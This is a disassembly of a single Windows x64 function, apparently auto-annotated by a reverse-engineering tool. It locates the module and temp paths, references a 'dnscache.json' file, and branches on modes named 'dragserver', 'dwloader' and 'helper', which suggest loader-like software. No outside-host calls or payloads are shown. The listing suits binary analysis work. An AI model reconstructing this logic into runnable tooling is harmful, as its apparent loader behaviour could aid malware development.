Function at 0x1400786d0
Capabilities:
Get common file path

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd10]
sub rsp, 0xe10
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0xe60], rbx
mov rax, qword [0x140131088]
xor rax, rsp
mov qword [rbp + 0xd00], rax
mov r14, rdx
movsxd r12, ecx
cmp r12d, 1
jg 0x140078720
xor eax, eax
jmp 0x140078fe5
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
xor r13d, r13d
mov qword [rbp - 0x28], r13
mov byte [rbp - 0x38], r13b
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], r13
call fcn.140032ca0
mov qword [rbp - 0x18], rax
xor edx, edx
mov r8d, 0x820
lea rcx, [rbp + 0x1c0]
call fcn.1400a1560
mov edi, r13d
or rsi, 0xffffffffffffffff
test r12d, r12d
jle 0x1400788ea
lea rax, [rbp + 0x1c0]
sub r14, rax
lea rdx, [r14 + rdi*8]
mov rdx, qword [rbp + rdx + 0x1c0]
lea rcx, [rsp + 0x28]
call fcn.140085880
nop
cmp qword [rax + 0x18], 0x10
jb 0x140078793
mov rax, qword [rax]
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x58], r13
mov byte [rsp + 0x48], 0
cmp byte [rax], 0
jne 0x1400787b0
mov r8, r13
jmp 0x1400787bd
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400787b3
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140009260
nop
mov rax, qword [rsp + 0x40]
cmp rax, 0x10
jb 0x14007881b
inc rax
mov rcx, qword [rsp + 0x28]
cmp rax, 0x1000
jb 0x140078816
test cl, 0x1f
jne 0x1400788cc
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1400788c6
sub rcx, rax
cmp rcx, 8
jb 0x1400788c0
cmp rcx, 0x27
ja 0x1400788ba
mov rcx, rax
call fcn.14009d844
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x38], r13
mov byte [rsp + 0x28], 0
mov rcx, qword [rsp + 0x58]
inc rcx
call fcn.14009e2ac
mov rbx, rax
mov qword [rbp + rdi*8 + 0x1c0], rax
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
mov rcx, rax
call fcn.14009f190
mov rcx, qword [rsp + 0x58]
mov byte [rcx + rbx], 0
mov rax, qword [rsp + 0x60]
cmp rax, 0x10
jb 0x1400788ad
inc rax
mov rcx, qword [rsp + 0x48]
cmp rax, 0x1000
jb 0x1400788a8
test cl, 0x1f
jne 0x1400788e4
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x1400788de
sub rcx, rax
cmp rcx, 8
jb 0x1400788d8
cmp rcx, 0x27
ja 0x1400788d2
mov rcx, rax
call fcn.14009d844
inc rdi
cmp rdi, r12
jge 0x1400788ea
jmp 0x140078772
call fcn.1400a26d8
int3
call fcn.1400a26d8
int3
call fcn.1400a26d8
int3
call fcn.1400a26d8
nop
call fcn.1400a26d8
int3
call fcn.1400a26d8
int3
call fcn.1400a26d8
int3
call fcn.1400a26d8
int3
lea r8, [rbp + 0x1c0]
mov edx, r12d
lea rcx, [rbp - 0x38]
call fcn.14004f880
test al, al
je 0x140078fb9
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0xaf0]
call fcn.1400a1560
mov r8d, 0x104
lea rdx, [rbp + 0xaf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov qword [rsp + 0x40], 7
mov qword [rsp + 0x38], r13
mov word [rsp + 0x28], r13w
cmp word [rbp + 0xaf0], 0
jne 0x140078951
mov r8, r13
jmp 0x14007896b
lea rax, [rbp + 0xaf0]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140078960
lea rdx, [rbp + 0xaf0]
lea rcx, [rsp + 0x28]
call fcn.140008a20
nop
lea rcx, [rsp + 0x28]
call fcn.14002d0c0
test al, al
sete bl
mov r8, qword [rsp + 0x40]
cmp r8, 8
jb 0x1400789a9
inc r8
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x28]
call fcn.140008b70
test bl, bl
jne 0x140078fb9
call fcn.1400727b0
mov ecx, dword [section..custom]
test cl, 1
je 0x1400789e6
mov eax, ecx
shr eax, 1
test al, 1
je 0x1400789d0
mov ecx, 4
jmp 0x1400789e8
shr ecx, 2
test cl, 1
je 0x1400789df
mov ecx, 2
jmp 0x1400789e8
mov ecx, 5
jmp 0x1400789e8
xor ecx, ecx
call fcn.1400785d0
lea rcx, [rsp + 0x28]
call fcn.14002a630
nop
lea r8, [0x1400f75a0]
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.140031110
nop
mov r8, qword [rsp + 0x40]
cmp r8, 8
jb 0x140078a29
inc r8
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x28]
call fcn.140008b70
mov qword [rsp + 0x40], 7
mov qword [rsp + 0x38], r13
mov word [rsp + 0x28], r13w
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 8
cmovae rdx, qword [rbp - 8]
lea rax, [rbp + 0x138]
mov qword [rbp + 0x130], rax
mov r8d, 3
lea rcx, [rbp + 0x130]
call fcn.140020d50
nop
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x48], r13
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp + 0x130]
cmp byte [rdx], 0
jne 0x140078a8d
mov r8, r13
jmp 0x140078a9a
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x140078a90
lea rcx, [rbp - 0x58]
call fcn.140009260
nop
lea rax, [rbp + 0x138]
mov rcx, qword [rbp + 0x130]
cmp rcx, rax
je 0x140078abc
call fcn.1400a24a4
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
lea rax, [rbp + 0x28]
mov qword [rbp + 0x20], rax
mov r8d, 3
lea rcx, [rbp + 0x20]
call fcn.14002f170
nop
mov rbx, qword [rbp + 0x20]
call fcn.140072c10
mov rcx, rax
mov rdx, rbx
call fcn.140072460
nop
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
cmp rcx, rax
je 0x140078b09
call fcn.1400a24a4
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x9e0]
call fcn.1400a1560
lea rdx, [rbp + 0x9e0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x68], r13
mov byte [rbp - 0x78], 0
cmp byte [rbp + 0x9e0], 0
jne 0x140078b4d
mov r8, r13
jmp 0x140078b6a
lea rax, [rbp + 0x9e0]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140078b60
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp - 0x78]
call fcn.140009260
nop
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.dnscache.json
lea rcx, [rbp - 0x78]
call fcn.14000c010
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
lea rax, [rbp + 0x28]
mov qword [rbp + 0x20], rax
mov r8d, 3
lea rcx, [rbp + 0x20]
call fcn.14002f170
nop
mov rdx, qword [rbp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.140085880
nop
cmp qword [rax + 0x18], 0x10
jb 0x140078bd0
mov rax, qword [rax]
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x38], r13
mov byte [rsp + 0x28], 0
cmp byte [rax], 0
jne 0x140078bed
mov r8, r13
jmp 0x140078bfa
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140078bf0
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.140009260
nop
call fcn.1400820a0
mov rbx, rax
lea rdi, [rax + 0x50]
mov qword [rsp + 0x48], rdi
mov rdx, qword [rdi]
mov rcx, rdi
call qword [rdx]
mov byte [rsp + 0x50], 1
lea rax, [rsp + 0x28]
cmp rbx, rax
je 0x140078c43
mov r9, rsi
xor r8d, r8d
lea rdx, [rsp + 0x28]
mov rcx, rbx
call fcn.140009390
cmp qword [rbx + 0x10], 0
jne 0x140078c56
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140078c7b
mov dword [rbx + 0x84], 0x93a80
mov dword [rbx + 0x88], 0xe10
mov byte [rbx + 0x80], 1
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rax, qword [rsp + 0x40]
cmp rax, 0x10
jb 0x140078cd3
inc rax
mov rcx, qword [rsp + 0x28]
cmp rax, 0x1000
jb 0x140078cce
test cl, 0x1f
je 0x140078ca1
call fcn.1400a26d8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140078cb0
call fcn.1400a26d8
int3
sub rcx, rax
cmp rcx, 8
jae 0x140078cbf
call fcn.1400a26d8
int3
cmp rcx, 0x27
jbe 0x140078ccb
call fcn.1400a26d8
int3
mov rcx, rax
call fcn.14009d844
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x38], r13
mov byte [rsp + 0x28], 0
mov rax, qword [rbp - 0x80]
cmp rax, 0x10
jb 0x140078d3d
inc rax
mov rcx, qword [rsp + 0x68]
cmp rax, 0x1000
jb 0x140078d38
test cl, 0x1f
je 0x140078d0b
call fcn.1400a26d8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140078d1a
call fcn.1400a26d8
int3
sub rcx, rax
cmp rcx, 8
jae 0x140078d29
call fcn.1400a26d8
int3
cmp rcx, 0x27
jbe 0x140078d35
call fcn.1400a26d8
int3
mov rcx, rax
call fcn.14009d844
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], r13
mov byte [rsp + 0x68], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
cmp rcx, rax
je 0x140078d61
call fcn.1400a24a4
mov r8d, 1
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x38]
call fcn.140050270
lea rdx, str.dragserver
mov rcx, rax
call fcn.14000aeb0
mov ebx, eax
mov rcx, qword [rbp - 0x80]
cmp rcx, 0x10
jb 0x140078de1
inc rcx
mov rdx, qword [rsp + 0x68]
cmp rcx, 0x1000
jb 0x140078dd9
test dl, 0x1f
je 0x140078dac
call fcn.1400a26d8
int3
mov rax, qword [rdx - 8]
cmp rax, rdx
jb 0x140078dbb
call fcn.1400a26d8
int3
sub rdx, rax
cmp rdx, 8
jae 0x140078dca
call fcn.1400a26d8
int3
cmp rdx, 0x27
jbe 0x140078dd6
call fcn.1400a26d8
int3
mov rdx, rax
mov rcx, rdx
call fcn.14009d844
lea rcx, [rbp - 0x38]
test ebx, ebx
jne 0x140078df3
call fcn.1400773a0
jmp 0x140078ec0
mov r8d, 1
lea rdx, [rsp + 0x68]
call fcn.140050270
lea rdx, str.dwloader
mov rcx, rax
call fcn.14000aeb0
mov ebx, eax
mov rcx, qword [rbp - 0x80]
cmp rcx, 0x10
jb 0x140078e6f
inc rcx
mov rdx, qword [rsp + 0x68]
cmp rcx, 0x1000
jb 0x140078e67
test dl, 0x1f
je 0x140078e3a
call fcn.1400a26d8
int3
mov rax, qword [rdx - 8]
cmp rax, rdx
jb 0x140078e49
call fcn.1400a26d8
int3
sub rdx, rax
cmp rdx, 8
jae 0x140078e58
call fcn.1400a26d8
int3
cmp rdx, 0x27
jbe 0x140078e64
call fcn.1400a26d8
int3
mov rdx, rax
mov rcx, rdx
call fcn.14009d844
lea rcx, [rbp - 0x38]
test ebx, ebx
jne 0x140078e81
call fcn.140076a90
mov esi, r13d
jmp 0x140078ec2
mov r8d, 1
lea rdx, [rsp + 0x68]
call fcn.140050270
lea rdx, str.helper
mov rcx, rax
call fcn.14000aeb0
mov ebx, eax
lea rcx, [rsp + 0x68]
call fcn.140009040
lea rcx, [rbp - 0x38]
test ebx, ebx
jne 0x140078ebb
call fcn.140077e80
jmp 0x140078ec0
call fcn.140077770
mov esi, eax
mov rax, qword [rbp - 0x60]
cmp rax, 0x10
jb 0x140078f18
inc rax
mov rcx, qword [rbp - 0x78]
cmp rax, 0x1000
jb 0x140078f13
test cl, 0x1f
je 0x140078ee6
call fcn.1400a26d8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140078ef5
call fcn.1400a26d8
int3
sub rcx, rax
cmp rcx, 8
jae 0x140078f04
call fcn.1400a26d8
int3
cmp rcx, 0x27
jbe 0x140078f10
call fcn.1400a26d8
int3
mov rcx, rax
call fcn.14009d844
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x68], r13
mov byte [rbp - 0x78], 0
mov rax, qword [rbp - 0x40]
cmp rax, 0x10
jb 0x140078f7e
inc rax
mov rcx, qword [rbp - 0x58]
cmp rax, 0x1000
jb 0x140078f79
test cl, 0x1f
je 0x140078f4c
call fcn.1400a26d8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140078f5b
call fcn.1400a26d8
int3
sub rcx, rax
cmp rcx, 8
jae 0x140078f6a
call fcn.1400a26d8
int3
cmp rcx, 0x27
jbe 0x140078f76
call fcn.1400a26d8
int3
mov rcx, rax
call fcn.14009d844
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x48], r13
mov byte [rbp - 0x58], 0
mov r8, qword [rbp + 0x10]
cmp r8, 8
jb 0x140078fa8
inc r8
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 8]
call fcn.140008b70
mov qword [rbp + 0x10], 7
mov qword [rbp + 8], r13
mov word [rbp - 8], r13w
mov r8, qword [rbp - 0x18]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x18]
call fcn.1400504a0
mov rcx, qword [rbp - 0x18]
call fcn.14009d844
lea rcx, [rbp - 0x38]
call fcn.140009040
mov eax, esi
mov rcx, qword [rbp + 0xd00]
xor rcx, rsp
call fcn.14009d860
mov rbx, qword [rsp + 0xe60]
add rsp, 0xe10
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret